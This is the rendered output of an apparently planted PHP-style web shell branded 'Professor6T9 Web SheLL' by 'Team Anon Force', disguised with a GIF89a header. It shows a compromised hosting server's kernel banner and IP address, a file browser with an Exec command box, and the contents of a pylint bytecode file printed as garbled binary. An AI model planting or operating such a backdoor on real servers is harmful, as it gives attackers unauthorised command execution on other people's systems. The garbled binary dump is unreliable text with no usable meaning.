GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
pylint
/
reporters
/
ureports
/
__pycache__
[ HOME ]
Exec
Submit
File Name : base_writer.cpython-311.pyc
� � hf � � � d Z ddlmZ ddlZddlmZ ddlmZ ddlm Z m Z e rddlmZm Z mZmZmZ G d� d � � ZdS ) z�Universal report objects and some formatting drivers. A way to create simple reports using python objects, primarily designed to be formatted as text and html. � )�annotationsN)�Iterator)�StringIO)� TYPE_CHECKING�TextIO)� BaseLayout�EvaluationSection� Paragraph�Section�Tablec �d � e Zd ZdZej dfdd�Zdd �Zddd�Zdd�Z dd�Z dd�Zd d�Zd!d�Z dS )"� BaseWriterzBase class for ureport writers.N�layoutr �streamr �encoding� str | None�return�Nonec �� � |st |dd� � }|pd| _ || _ | � � � |� | � � | � � � dS )z�Format and write the given layout into the stream object. unicode policy: unicode strings may be found in the layout; try to call 'stream.write' with it, but give it back encoded using the given encoding if it fails r zUTF-8N)�getattrr �out�begin_format�accept� end_format)�selfr r r s �v/builddir/build/BUILD/cloudlinux-venv-1.0.8/venv/lib/python3.11/site-packages/pylint/reporters/ureports/base_writer.py�formatzBaseWriter.format sj � � � <��v�z�7�;�;�H� �+�G�� ����������� � �d������������ �'EvaluationSection | Paragraph | Sectionc �X � t |dd� � D ]}|� | � � �dS )zgRecurse on the layout children and call their accept method (see the Visitor pattern). �children� N)r r )r r �childs r �format_childrenzBaseWriter.format_children3 s>